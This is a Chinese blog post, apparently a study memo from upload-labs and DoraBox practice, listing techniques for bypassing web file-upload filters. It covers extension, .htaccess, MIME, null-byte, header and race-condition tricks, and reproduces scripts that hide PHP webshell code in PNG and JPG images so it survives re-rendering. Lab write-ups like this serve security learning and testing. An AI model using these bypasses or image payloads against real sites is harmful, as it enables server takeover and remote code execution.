文件上传漏洞备忘录

写在前面

这篇文章算是我自己做完upload-labs和DoraBox上传文件靶场的一个总结,方法都是很常见的,也没有什么高难度,所以也算是小白文。如果我写的有错误欢迎指正 。

JS校验

这种是比较好理解也比较好操作的,只需要Burp抓包拦截,然后修改后缀名即可达到绕过的目的。

黑白名单

黑名单就是不允许的名单,白名单就是只允许的名单。

黑名单有以下几种方法绕过:

  1. 特殊后缀,例如要上传php一句话,已知网站不允许上传php文件类型,则可以上传php2、php3、php4、phtml等类型。
  2. 上传 htaccess文件。htaccess文件会把传入的指定的文件当作php文件执行。AddType application/x-httpd-php .jpg
  3. 大小写。将原本的php后缀变成大小写混杂,变成PhP、pHP等,以达到绕过的目的。
  4. 点绕过。抓包拦截在php后面加上一个.,变成.php.。
  5. 空格绕过。抓包拦截,在php后面加上一个空格。
  6. :: $DATA绕过。基于Windows的特性,就是如果文件名后面加上:: $DATA,会把DATA之后的数据当成文件流处理,不会检测后缀名,整个文件的类型保持::$DATA之前的文件类型。
  7. 双写绕过。将原本的php改写成phphpp,达到上传目的。

白名单有以下几种方法:

  1. MIME绕过。这个方法是看Content-type的值,传入的是php文件,但是可以抓包修改Content-type的值为image/jpeg,让网站以为这是一个被允许的jpg文件。
  2. %00截断绕过。通常存在于构造上传文件路径的时候

函数绕过

两个函数,一个是getimagesize()函数,一个是exif_imagetype()函数。

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

exif_imagetype()获取图片类型,预定义以下常量用于返回
IMAGETYPE_GIF、IMAGETYPE_JPEG、IMAGETYPE_PNG、IMAGETYPE_SWF、IMAGETYPE_PSD等。

绕过方法是上传图片马,配合解析漏洞拿到shell。

二次渲染

对于这个原理理解的并不是很透彻。记录一下从别处看到的解释,相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。

对于gif格式来说,只需要找到渲染前后没有变化的位置,然后通过16进制编辑器把php代码写进去,就可以成功上传带有php代码的图片。

而对于png和jpg格式,在网上找了找,原谅我的小白,看不太懂 。

但是也记录下方法,是根据国外的大牛编写的脚本。

png:


 $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
            0x66, 0x44, 0x50, 0x33);
 
 $img = imagecreatetruecolor(32, 32);
 
 for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
 }
 
 imagepng($img,'./1.png');
 ?>

jpg:


     /*
 
     The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
     It is necessary that the size and quality of the initial image are the same as those of the processed image.
 
     1) Upload an arbitrary image via secured files upload script
     2) Save the processed image and launch:
     jpg_payload.php 
 
     In case of successful injection you will get a specially crafted image, which should be uploaded again.
 
     Since the most straightforward injection method is used, the following problems can occur:
     1) After the second processing the injected data may become partially corrupted.
     2) The jpg_payload.php script outputs "Something's wrong".
     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
 
     Sergey Bobrov @Black2Fan.
 
     See also:
     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 
     */
 
     $miniPayload = "";
 
 
     if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
         die('php-gd is not installed');
    }
 
     if(!isset($argv[1])) {
         die('php jpg_payload.php ');
    }
 
     set_error_handler("custom_error_handler");
 
     for($pad = 0; $pad < 1024; $pad++) {
         $nullbytePayloadSize = $pad;
         $dis = new DataInputStream($argv[1]);
         $outStream = file_get_contents($argv[1]);
         $extraBytes = 0;
         $correctImage = TRUE;
 
         if($dis->readShort() != 0xFFD8) {
             die('Incorrect SOI marker');
        }
 
         while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
             $marker = $dis->readByte();
             $size = $dis->readShort() - 2;
             $dis->skip($size);
             if($marker === 0xDA) {
                 $startPos = $dis->seek();
                 $outStreamTmp =
                     substr($outStream, 0, $startPos) .
                     $miniPayload .
                     str_repeat("\0",$nullbytePayloadSize) .
                     substr($outStream, $startPos);
                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                 if($extraBytes !== 0) {
                     while((!$dis->eof())) {
                         if($dis->readByte() === 0xFF) {
                             if($dis->readByte !== 0x00) {
                                 break;
                            }
                        }
                    }
                     $stopPos = $dis->seek() - 2;
                     $imageStreamSize = $stopPos - $startPos;
                     $outStream =
                         substr($outStream, 0, $startPos) .
                         $miniPayload .
                         substr(
                             str_repeat("\0",$nullbytePayloadSize).
                                 substr($outStream, $startPos, $imageStreamSize),
                             0,
                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                 substr($outStream, $stopPos);
                } elseif($correctImage) {
                     $outStream = $outStreamTmp;
                } else {
                     break;
                }
                 if(checkImage('payload_'.$argv[1], $outStream)) {
                     die('Success!');
                } else {
                     break;
                }
            }
        }
    }
     unlink('payload_'.$argv[1]);
     die('Something\'s wrong');
 
     function checkImage($filename, $data, $unlink = FALSE) {
         global $correctImage;
         file_put_contents($filename, $data);
         $correctImage = TRUE;
         imagecreatefromjpeg($filename);
         if($unlink)
             unlink($filename);
         return $correctImage;
    }
 
     function custom_error_handler($errno, $errstr, $errfile, $errline) {
         global $extraBytes, $correctImage;
         $correctImage = FALSE;
         if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
             if(isset($m[1])) {
                 $extraBytes = (int)$m[1];
            }
        }
    }
 
     class DataInputStream {
         private $binData;
         private $order;
         private $size;
 
         public function __construct($filename, $order = false, $fromString = false) {
             $this->binData = '';
             $this->order = $order;
             if(!$fromString) {
                 if(!file_exists($filename) || !is_file($filename))
                     die('File not exists ['.$filename.']');
                 $this->binData = file_get_contents($filename);
            } else {
                 $this->binData = $filename;
            }
             $this->size = strlen($this->binData);
        }
 
         public function seek() {
             return ($this->size - strlen($this->binData));
        }
 
         public function skip($skip) {
             $this->binData = substr($this->binData, $skip);
        }
 
         public function readByte() {
             if($this->eof()) {
                 die('End Of File');
            }
             $byte = substr($this->binData, 0, 1);
             $this->binData = substr($this->binData, 1);
             return ord($byte);
        }
 
         public function readShort() {
             if(strlen($this->binData) < 2) {
                 die('End Of File');
            }
             $short = substr($this->binData, 0, 2);
             $this->binData = substr($this->binData, 2);
             if($this->order) {
                 $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                 $short = (ord($short[0]) << 8) + ord($short[1]);
            }
             return $short;
        }
 
         public function eof() {
             return !$this->binData||(strlen($this->binData) === 0);
        }
    }

借助图片马上传。

文件头绕过

方法比较容易理解,增加不同16进制文件头进行绕过即可。

jpg FF D8 FF E0 00 10 4A 46 49 46

gif 47 49 46 38 39 61

png 89 50 4E 47

条件竞争

有的网站会先将上传的文件保存进来,之后再对文件类型进行过滤,符合要求的留下,不被允许的类型删除。

要利用的就是这段时间段。用Burp的爆破功能,一方面不断上传,另一方面不断访问我们上传的文件。

备忘录就先到这里,有关于上传文件漏洞的方式方法当然不止文中提及的这些,文中如果有错误之处欢迎批评指正。感谢!!

你可能感兴趣的:(笔记)